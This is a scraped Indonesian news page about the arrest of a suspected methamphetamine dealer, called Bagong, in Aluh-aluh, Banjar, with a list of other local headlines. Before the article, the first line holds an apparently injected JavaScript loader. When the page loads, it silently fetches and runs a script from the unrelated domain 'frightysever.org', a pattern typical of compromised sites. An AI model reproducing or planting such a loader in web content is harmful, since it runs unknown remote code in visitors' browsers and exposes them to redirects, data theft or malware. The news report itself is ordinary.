(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kriminal

Bagong Dibekuk, 4 Paket Sabu Jadi Barbuk


KANALKALIMANTAN.COM, MARTAPURA -Anggota Polsek Aluh-aluh meringkus seorang pria yang diduga pengedar narkoba jenis sabu di Desa Tanipah RT 2, Kecamatan Aluh-aluh, Kabupaten Banjar, pada Rabu (7/10/2020).

Dari penangkapan itu, petugas menyita barang bukti 4 paket sabu.

Pria itu IH alias Bagong (44), warga Desa Tanipah, Kecamatan Aluh-aluh, Kabupaten Banjar, dibekuk di rumahnya.

Menurut Kapolsek Aluh Aluh Ipda Simon Jumadi, kepada Kanalkalimantan.com, Sabtu (10/10/2020) mengatakan, penangkapan satu orang tersangka dilakukan setelah pihaknya mendapatkan informasi dari masyarakat sering adanya transaksi barang haram di rumah tersangka Bagong.

“Alhasil saat dilakukan pengerebekan pihaknya, mengamankan satu orang tersangka berikut barang bukti berupa sabu dan uang tunai Rp 350 ribu, satu buah handphone merk samsung warna hitam, satu pak plastik klip dan satu buah dompet warna hitam,” ujarnya.

Pada saat dilakukan penggerebakan tersangka Bagong sempat melakukan perlawanan dan berusaha melarikan diri ke arah belakang rumah.

“Pelaku berusaha melarikan diri ke arah belakang rumah, namun usaha pelaku melarikan tidak berhasil, karena anggota kita sudah mengepung rumah tersangka,” katanya.

Ipda Simon Jumadi menambahkan, dari hasil pemeriksaan, tersangka Bagong menyebutkan satu inisial yaitu AT warga Banjarmasin yang diduga pemasok barang haram tersebut.

“Ketika kita lakukan pemeriksaan tersangka Bagong menyebutkan satu nama yaitu AT, kami menduga nama itu adalah pemasok ke Bagong,” kata Ipda Simon Jumadi.

Pemesanan barang haram tersebut, Bagong mendapatkannya dari komunikasi handphone, dan yang mengantar barang haram tersebut adalah orang suruhan (anak buah) dari AT.

Ketika pihak kepolisian menanyakan dimana rumah AT, Bagong tidak mengetahui dimana alamat persisnya.

“Kita sedang menelusuri AT,” tegas Ipda Simon Jumadi

Atas perbuatannya itu, tersangka akan dijerat dengan pasal peredaran gelap narkotika golongan sebagaimana dimaksud dalam pasal 114 ayat 1sub 112 ayat 1 UU No. 35 Tahun 2008 tentang Narkotika, dengan acaman hukuman penjara 20 tahun. (kanalkalimantan.com/wahyu)

Reporter : Wahyu
Editor : Bie

Al Ghifari

Recent Posts

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

8 jam ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More

9 jam ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

9 jam ago

Bupati Banjar Ingatkan Kantor Desa Garda Terdepan Pelayanan dan Bebas Pungli

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More

9 jam ago

Cuti Bersama Tahun Baru Imlek, PTAM Intan Banjar Sesuaikan Jam Kerja Kantor Pelayanan

KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More

10 jam ago

Bapokting Naik, Wakil Wali Kota Ananda: Jangan Sampai Panic Buying!

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More

16 jam ago

This website uses cookies.